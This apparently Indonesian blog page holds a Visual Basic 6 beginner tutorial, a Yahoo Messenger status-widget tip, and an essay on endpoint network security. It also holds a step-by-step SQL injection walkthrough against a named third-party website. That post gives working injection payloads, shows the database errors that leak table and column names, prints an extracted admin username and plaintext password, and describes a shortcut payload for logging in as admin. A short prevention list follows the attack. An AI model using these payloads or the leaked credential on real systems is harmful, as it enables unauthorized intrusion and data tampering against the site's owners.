Newsletter

Suka Dengan artikel Di blog Ini, Masukkan alamat Email Anda Di Bawah Ini Untuk berlangganan artikel Blog Ini GRATISS...!!

Enter your email address:

Delivered by FeedBurner

Followers

Popular posts

Banner Musuh

Photobucket
(SYMOI) gubuk blekenyek cooltext433177153
http://borneoblogger.com/
logo Paddi Blog

Your Banner Here. .!!

Mengenal Visual Basic

Jumat, 01 Mei 2009
Posted by Fatkhan

1.1 Mengenal Visual Basic (VB)

Visual Basic adalah salah satu bahasa pemrograman komputer. Bahasa pemrograman adalah perintahperintah yang dimengerti oleh komputer untuk melakukan tugas-tugas tertentu. Bahasa pemrograman Visual Basic, yang dikembangkan oleh Microsoft sejak tahun 1991, merupakan pengembangan dari pendahulunya yaitu bahasa pemrograman BASIC (Beginner’s All-purpose Symbolic Instruction Code) yang dikembangkan pada era 1950-an. Visual Basic merupakan salah satu Development Tool yaitu alat bantu untuk membuat berbagai macam program komputer, khususnya yang menggunakan sistem operasi Windows. Visual Basic merupakan salah satu bahasa pemrograman komputer yang mendukung object (Object Oriented Programming = OOP).

1.2 Mengenal Integrated Development Environment (IDE) VB 6

Aktifkan VB 6 melalui tombol Start > Programs > Microsoft Visual Studio 6.0 > Microsoft VB 6.0

  • Menubar
  • Toolbar
  • Toolbox

Bila Toolbox tidak muncul klik tombol Toolbox ( ) pada bagian Toolbar atau klik menu

View > Toolbox.

  • Jendela Form

Bila Jendela Form tidak muncul klik tombol View Object ( ) pada bagian Project Explorer atau

klik menu View > Object.

  • Jendela Code

Bila Jendela Code tidak muncul klik tombol View Code ( ) di pada bagian Project Explorer atau

klik menu View > Code.

  • Project Explorer

Bila Project Explorer tidak muncul klik tombol Project Explorer ( ) pada bagian

Toolbar atau klik menu View > Project Explorer.

  • Jendela Properties

Bila Jendela Properties tidak muncul klik tombol Properties Window ( ) pada bagian Toolbar

atau klik menu View > Properties Window.

1.3 Memahami Istilah Object, Property, Method dan Event

Dalam pemrograman berbasis obyek (OOP), anda perlu memahami istilah object, property, method dan event sebagai berikut :

Object : komponen di dalam sebuah program

Property : karakteristik yang dimiliki object

Method : aksi yang dapat dilakukan oleh object

Event : kejadian yang dapat dialami oleh object

Object : Mobil

Property :

Merek: Toyota, Type: sedan Warna: merah

Method :

Maju,Mundur,Berhenti

Event :

Pintu dibuka, Ditabrak, Didorong

Object : Form

Property :

BackColor, BorderStyle, Caption

Method :

Hide,Move,Show

Event :

Click, Load, Resize

1.1 Mengenal Data dan Variabel

Ketika seorang user (pengguna) menggunakan sebuah program komputer, seringkali komputer

memintanya untuk memberikan informasi. Informasi ini kemudian disimpan atau diolah oleh komputer.Informasi inilah yang disebut dengan DATA.

Visual Basic 6 mengenal beberapa type data, antara lain :

  • String adalah type data untuk teks (huruf, angka dan tanda baca).
  • Integer adalah type data untuk angka bulat.
  • Single adalah type data untuk angka pecahan.
  • Currency adalah type data untuk angka mata uang.
  • Date adalah type data untuk tanggal dan jam.

Boolean adalah type data yang bernilai TRUE atau FALSE.

Data yang disimpan di dalam memory komputer membutuhkan sebuah wadah. Wadah inilah yang

disebut dengan VARIABEL. Setiap variabel untuk menyimpan data dengan type tertentu membutuhkan

alokasi jumlah memory (byte) yang berbeda.

Variabel dibuat melalui penulisan deklarasi variabel di dalam kode program :

Dim As

Contoh : Dim nama_user As String

Aturan di dalam penamaan variabel :

  • Harus diawali dengan huruf.
  • Tidak boleh menggunakan spasi. Spasi bisa diganti dengan karakter underscore (_).
  • Tidak boleh menggunakan karakter-karakter khusus (seperti : +, -, *, /, <, >, dll).
  • Tidak boleh menggunakan kata-kata kunci yang sudah dikenal oleh VB(seperti : dim, as,string, integer, dll).Sebuah variabel hanya dapat menyimpan satu nilai data sesuai dengan type datanya.

Cara mengisi nilai data ke dalam sebuah variabel :

=

Contoh : nama_user = “krisna”

Untuk type data tertentu nilai_data harus diapit tanda pembatas. Type data string dibatasi tanda petikganda : “nilai_data”. Type data date dibatasi tanda pagar : #nilai_data#. Type data lainnya tidak perlu tanda pembatas.

Sebuah variabel mempunyai ruang-lingkup (scope) dan waktu-hidup (lifetime) :

  • Variabel global adalah variabel yang dapat dikenali oleh seluruh bagian program. Nilai data yang

tersimpan didalamnya akan hidup terus selama program berjalan.

  • Variabel lokal adalah variabel yang hanya dikenali oleh satu bagian program saja. Nilai data yang

tersimpan didalamnya hanya hidup selama bagian program tersebut dijalankan.

Variabel yang nilai datanya bersifat tetap dan tidak bisa diubah disebut KONSTANTA. Penulisan

deklarasi konstanta di dalam kode program :
Const As =

Contoh : Const tgl_gajian As Date = #25/09/2003#

1.1 Mengenal Struktur Kontrol

Struktur kontrol di dalam bahasa pemrograman adalah perintah dengan bentuk (struktur) tertentu yang

digunakan untuk mengatur (mengontrol) jalannya program.

Visual Basic 6 mengenal dua jenis struktur kontrol, yaitu :

1. Struktur kontrol keputusan - digunakan untuk memutuskan kode program mana yang akan

dikerjakan berdasarkan suatu kondisi. Akan dibahas pada bab ini.

2. Struktur kontrol pengulangan - digunakan untuk melakukan pengulangan kode program. Akan

dibahas pada bab selanjutnya.

Ada dua bentuk struktur kontrol keputusan, yaitu :

1. Struktur IF…THEN. Akan dibahas pada bab ini.

2. Struktur SELECT…CASE. Akan dibahas pada bab selanjutnya.

Bentuk penulisan (syntax) struktur IF…THEN :

1. IF THEN

Bila bernilai True maka akan dikerjakan.

2. IF THEN

ELSE

END IF

Bila bernilai True maka akan dikerjakan, tetapi bila

bernilai False maka yang akan dikerjakan.

1.2 Struktur Kontrol Select…Case

Bentuk penulisan (syntax) struktur SELECT…CASE :

SELECT CASE

CASE

CASE

CASE

[CASE ELSE

]

END SELECT

Bila sesuai dengan maka akan dikerjakan, dst. Tetapi bila tidak ada yang sesuai dengan s/d maka yang akan dikerjakan.

1.1 Mengenal Struktur Kontrol

Struktur kontrol di dalam bahasa pemrograman adalah perintah dengan bentuk (struktur) tertentu yang digunakan untuk mengatur (mengontrol) jalannya program.

Visual Basic 6 mengenal dua jenis struktur kontrol, yaitu :

1. Struktur kontrol keputusan - digunakan untuk memutuskan kode program mana yang akan

dikerjakan berdasarkan suatu kondisi. Sudah dibahas pada bab lalu.

2. Struktur kontrol pengulangan - digunakan untuk melakukan pengulangan kode program. Akan

dibahas pada bab ini.

Ada dua bentuk struktur kontrol pengulangan (looping), yaitu :

1. Struktur FOR…NEXT.

2. Struktur DO…LOOP.

1.2 Struktur Kontrol For…Next

Bentuk penulisan (syntax) struktur For…Next :

FOR = TO [STEP ]

NEXT

  • adalah variabel (tipe: integer) yang digunakan untuk menyimpan angka pengulangan.
  • adalah nilai awal dari .
  • adalah nilai akhir dari .
  • adalah perubahan nilai setiap pengulangan. Sifatnya optional (boleh ditulis

ataupun tidak). Bila tidak ditulis maka nilai adalah 1.

1.2 Struktur Kontrol Do…Loop

Bentuk penulisan (syntax) struktur Do…Loop :

1. DO WHILE

LOOP

akan diulang selama bernilai TRUE. Pengulangan berhenti bila

sudah bernilai FALSE.

2. DO UNTIL

LOOP

akan diulang sampai bernilai TRUE. Pengulangan berhenti bila

sudah bernilai TRUE.

1.1 Apa itu Array ?

Array merupakan sekumpulan nilai data yang “dikelompokkan” dalam sebuah variabel. Array

digunakan bila ada beberapa nilai data yang tipe datanya sama dan akan mendapat perlakuan yang sama pula. Misalnya, ada 10 nilai data dengan tipe string dan akan diolah dengan cara yang sama, maka akan lebih mudah jika menggunakan sebuah array dibandingkan bila menggunakan 10 variabel yang berbeda. Setiap nilai data di dalam sebuah array disebut elemen array dan masing-masing dibedakan dengan nomer indeksnya.

1.2 Menggunakan Array

Sebuah array dideklarasikan dengan cara yang sama dengan variabel, yaitu menggunakan perintah Dim, kemudian diikuti dengan tanda kurung dan jumlah

Dim nama_array(jumlah_elemen - 1) As tipe_data

Contoh :

Dim NamaSiswa(99) As String array NamaSiswa akan mempunyai elemen sebanyak 100 dengan

nomer indeks mulai dari 0 s/d 99.

Selanjutnya untuk mengisi nilai data ke dalam array :

nama_array(no_indeks) = nilai_data

Contoh :

NamaSiswa(0) = “umar”

Namasiswa(1) = “fatimah”

Untuk “mengosongkan” nilai data, bisa menggunakan struktur kontrol For…Next :

For i = 0 To 99

NamaSiswa(i) = “”

Next i

Lebih mudah bukan ?

Catatan :

  • Agar nomer indeks array dimulai dari 1 (bukan 0), bisa menggunakan perintah Option Base 1

sebelum perintah Dim-nya, contoh :

Option Base 1

Dim NamaSiswa(100) As String

  • Atau bisa juga menggunakan kata To di dalam penentuan jumlah elemen array, contoh :

Dim NamaSiswa(1 To 100) As String

  • Untuk mengetahui berapa jumlah elemen di dalam sebuah array, bisa menggunakan perintah

Ubound(nama_array), contoh :

Dim NamaSiswa(1 To 100) As String

Dim JmlElemen As Integer

JmlElemen = Ubound(NamaSiswa) hasilnya = 100

  • Bila jumlah elemen array yang dibutuhkan tidak diketahui atau ingin bisa diubah-ubah, maka

bagian jumlah_elemen pada perintah Dim tidak perlu diisi, contoh :

Dim NamaSiswa() As String

Teknik ini biasa disebut sebagai array dinamis, biasanya untuk mengisi data yang berkembang terus, dan

belum bisa ditentukan di awal jumlah elemennya.

  • Untuk mengubah jumlah elemen array digunakan perintah Redim :

Redim [Preserve] nama_array(jumlah_elemen)

Contoh :

Redim NamaSiswa(1 To 150) �� jumlah elemen array NamaSiswa menjadi 150 dengan

nomer indeks dari 1 s/d 150.

1.1 Apa itu Procedure ?

Procedure adalah blok kode program yang berisi perintah-perintah untuk mengerjakan tugas tertentu. Bila di dalam kode program yang kita buat ada perintah-perintah untuk melakukan tugas yang sama di beberapa tempat, maka akan lebih baik perintah-perintah tersebut dibuat dalam sebuah procedure. Kemudian, procedure itu bisa di-‘panggil’ bila diperlukan.

Penggunaan procedure sangat menghemat penulisan kode program, karena kode-kode program yang sama dibeberapa tempat cukup dibuat pada satu bagian saja. Selain itu, procedure akan memudahkan perbaikan kode program bila terjadi perubahan atau kesalahan, karena perbaikan cukup dilakukan pada satu bagian saja.

1.2 Jenis-jenis Procedure

Pada VB6 ada 4 jenis procedure, yaitu :

  • Procedure Sub – procedure yang tidak mengembalikan nilai setelah ‘tugas’-nya selesai.
  • Procedure Function – procedure yang mengembalikan nilai setelah ‘tugas’-nya selesai.
  • Procedure Event – procedure untuk suatu event pada sebuah object. Digunakan di dalam class module.
  • Procedure Property – procedure untuk mengubah (let) atau mengambil (get) nilai property pada sebuah object. Digunakan di dalam class module.

Pada bab ini akan dibahas penggunaan procedure sub dan function. Procedure event dan property akan dibahas pada bab selanjutnya.

Bentuk penulisan (syntax) procedure sub :

[Public | Private] Sub ([])

End Sub

Sedangkan bentuk penulisan (syntax) procedure function :

[Public | Private] Function ([]) As

End Function

Pernyataan [Public | Private] menentukan ruang lingkup (scope) procedure. Sebuah procedure dengan scope public bisa digunakan dalam lingkup project. Sedangkan procedure dengan scope private hanya bisa digunakan dalam lingkup form saja.

atau dibuat sebagai pengenal procedure saat di-‘panggil’. Aturan penamaan sebuah procedure sama dengan aturan penamaan sebuah variabel. Nama sebuah procedure dibuat unik, tidak boleh ada yang sama.

merupakan serangkaian nilai dan tipe data yang dipakai oleh procedure untuk mengerjakan ‘tugas’-nya. Sebuah procedure bisa saja tidak memakai argumen sama sekali.

Pernyataan As pada procedure function menentukan tipe data nilai yang akan dikembalikan (return value) setelah ‘tugas’-nya selesai.

Untuk menggunakan sebuah procedure, maka procedure tersebut harus di-‘panggil’ pada bagian tertentu dari kode program. Procedure sub di-‘panggil’ dengan pernyataan :

Call ([])

Sedangkan procedure function bisa di-‘panggil’ langsung dengan menyisipkannya di dalam kode program yang memanggilnya

Status Yahoo Messenger di BLOG

Rabu, 29 April 2009
Posted by Fatkhan


Pada TIPS DAN TRIK BLOG kali ini, akan mengetengahkan cara menyisipkan Status Yahoo Messenger di blog. Dengan demikian jika kita sedang login pada Yahoo Messenger (YM) maka orang lain dapat mengetahuinya. Format dan contoh, seperti di bawah ini :

Contoh 1





Contoh 2




Contoh 3




yono_pati dapat diganti dengan ID Yahoo Messenger Anda.
.....g&t=0 ====> untuk gambar status (icon) kecil, lihat contoh 1
.....g&t=1 ====> untuk gambar status (icon) sedang, lihat contoh 2
.....g&t=2 ====> untuk gambar status (icon) besar, lihat contoh 3

Kita dapat menaruhnya di sidebar, seperti di sidebar blog ini
Selamat Mencoba

SQL Injection

Posted by Fatkhan
Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection
di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u

Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba

Atau kita pakai jalan pintas saja....

Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).

Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.


******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.


Yah itulah mungkin yang dapat saya ceritakan.....
Hal itu adalah gambaran, betapa tidak amannya dunia internet...
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding )


Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications
(www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)

Mengamankan Bagian yang Sering Terlupakan Dalam Keamanan Jaringan

Posted by Fatkhan

  • Fakta di sekitar kita
Internet, tanpa disadari telah mengubah cara orang bekerja, berkomunikasi,
bekerjasama, melakukan kegiatan jual dan beli, bersosialisasi, dan lain-lain.
Pemberian akses yang terkontrol kepada mitra adalah hal yang paling praktis
sebagai upaya mempermudah kerjasama kedua-belah pihak. Namun dengan
mengijinkan mitra menjelajah lebih dalam pada jaringan perusahaan yang
mengaburkan batasan antara luar dan dalam? Saya tidak percaya jika ada
sebuah perusahaan yang bersedia jika rahasia dapurnya diketahui oleh orang
lain.
Anggapan tradisional tentang keamanan jaringan mengasumsikan bahwa
koneksi dibelakang firewall adalah aman dan koneksi diluar firewall adalah
rawan, tidak mampu menjamin bahwa aset berharga perusahaan dapat terlindungi
dengan baik. Saat ini jaringan bisnis berskala besar membutuhkan
keamanan yang mampu mengamankan sampai kesemua end-points baik yang
berada di dalam maupun di luar lingkup jaringan perusahaan.
Dibalik perlindungan Firewall
Perlindungan Firewall konvensional hanya melindungi bagian dalam dari jaringan.
Firewall akan memfilter serta mengaudit traffic yang melintasi perbatasan
antara jaringan luar maupun dalam. Bagaimanapun, Firewall tidak

dirancang untuk melindungi koneksi individu dalam sebuah jaringan. Hal ini
dapat dianalogikan sebagai mengunci pintu gerbang, namun tidak membiarkan
pintu masuk kedalam rumah atau pintu kamar - siapapun yang berhasil
masuk melewati pintu gerbang, tentunya akan sangat mudah menjelajah isi
ruangan.
Tipe jaringan seperti diatas sangatlah berisiko tinggi sebagai attack target.
Sebagai contoh, seorang attacker yang mengincar server atau workstation
yang terletak dalam jaringan internal (LAN - Local Area Network),
begitu ia mendapatkan akses masuk ke mesin tersebut, mereka dapat menggunakannya
sebagai jumping box untuk menjebol masuk ke sistem lain yang
berada di dalam jaringan yang sama.
Cara yang dapat ditempuh untuk menyiasati kondisi tersebut adalah dengan
mengunci setiap ruangan. Kurang lebih sama seperti solusi yang ditawarkan
firewall yang diperuntukkan pada desktop, notebook, atau server
yang berada dalam LAN. Dengan memasang firewall pada titik-titik rawan
dapat memberikan kemudahan akses pada pengguna untuk memperoleh
atau menempatkan informasi-informasi penting. Dengan metode end-to-end
security ini, tidak akan menimbulkan masalah apabila pengguna terhubung
dalam intranet, extranet, VPN atau remote access. Metode tersebut juga
dapat mencegah intrusion pada sebuah host untuk menyebar ke host lain
yang restricted-access pada network yang sama.

  • Kontrol keamanan
Walaupun semua perusahaan seharusnya memahami soal keamanan jaringan,
beberapa harus memberikan perhatian yang lebih. Mereka yang menyimpan
atau mendistribusikan data penting membutuhkan solusi yang lebih rumit.
Mereka yang membutuhkan solusi ekstra diantaranya adalah institusi keuangan,
pemerintahan, jasa asuransi, pengembang, dan rumah-sakit.
Ada banyak dari mereka yang sudah terhubungkan melalui jaringan -
baik private maupun via Internet - ke kantor cabang, mitra kerja, sehingga
pertukaran informasi dapat menjadi sangat mudah. Sebagaimana jaringan


yang berkembang menjadi sangat distributif, solusi keamanan jaringan harus

ikut menyesuaikan diri. Melengkapi hardware dengan solusi keamanan
ekstra - menempatkan kunci tambahan pada setiap pintu ruangan - menjadi
opsi yang konsisten, hal tersebut terdengar seperti sudah menjadi kebijakan
keamanan antar jaringan.
Untuk perlindungan secara fisik, hardware dapat dilengkapi dengan cryptocard,
atau biometric scanner – scanner yang dapat mengenali siapa saja yang
berhak mengakses berdasarkan anatomi tubuh seperti retina mata, sidik jari,
dan suara. Sedangkan solusi dengan menggunakan software, dapat berupa
personal firewall dan anti-virus scanner.

  • Perlindungan secara kontinyu
Sering saya mendengar beberapa rekan yang mengeluh karena jaringan yang
menurut mereka sudah aman, ternyata masih dapat disusupi oleh crackers.
Saya pikir dengan menyerahkan begitu saja tugas menjaga keamanan kepada
software atau hardware, tidak dapat menyelesaikan masalah yang timbul.
Perlu dilakukannya auditing secara berkala - secara lebih spesifik, security
audit - untuk memeriksa cacat yang ada pada software atau hardware. Jika
dirasa mampu, mungkin dengan mempekerjakan tenaga profesional yang
ditugaskan untuk mengaudit keamanan jaringan, dapat meringankan beban
Anda.
Selain itu, ada hal lain yang dirasa penting: beri pemahaman kepada
karwayan - terutama mereka yang menggunakan jaringan - agar mengerti
soal keamanan jaringan! Mereka adalah salah satu kunci yang tidak boleh
terlupakan. Karyawan yang tidak memahami benar soal keamanan data dan
jaringan akan menjadi bumerang bagi perusahaan.
Sebagai ilustrasi nyata, beberapa waktu yang lalu, saya menerima e-mail
dari seseorang yang tidak saya kenal, dimana pada e-mail tersebut disertakan
attachment berisi data pegawai perusahaan Y - berikut daftar gaji, anggota
keluarga, pendidikan terakhir, dan lain sebagainya. Data yang menurut saya
adalah data penting dimana tidak sembarang orang boleh tahu. E-mail terse-
but tentu tidak mungkin dikirimkan dengan sengaja, e-mail terkirim sebagai
akibat terinfeksinya komputer sipengirim oleh Worm.
Menurut saya, terjadinya kebocoran informasi seperti yang baru saya sebut
diatas, tidak mungkin terjadi jika pengguna adalah seseorang yang memahami
benar soal keamanan data, karena ia akan melindungi data penting
yang disimpannya dengan baik, juga akan memasang anti-virus - sudah tentu
rajin mengupdatenya. Sungguh, sangat disayangkan sekali hal itu dapat
terjadi.

  • Sedikit paranoid itu perlu
Dengan semakin seringnya tersiar isu keamanan jaringan, tidak mengherankan
bagi perusahaan-perusahaan besar yang sudah terintegrasi dengan jaringan
- menggunakan LAN, VPN, atau Internet - akan benar-benar mempertimbangan
isu tersebut demi berlangsungnya bisnis yang tengah berjalan.
Sebagaimana crackers dan penulis virus/worms semakin cerdik, maka
tingkat kewaspadaan harus semakin ditingkatkan. Penggunaan produk keamanan
jaringan mungkin akan menjadi sebuah keharusan. Telah tersedia
banyak dipasaran, produk personal firewall dan anti-virus yang dapat diintegrasikan
kedalam notebook, desktop, dan server yang menjadikan sistem
lebih aman dan terkendali.
Mereka yang menghendaki keamanan ekstra sebaiknya meminta vendor
untuk mengintegrasikan firewall untuk mengamankan bagian yang sering terlupakan
dalam keamanan jaringan: personal computer.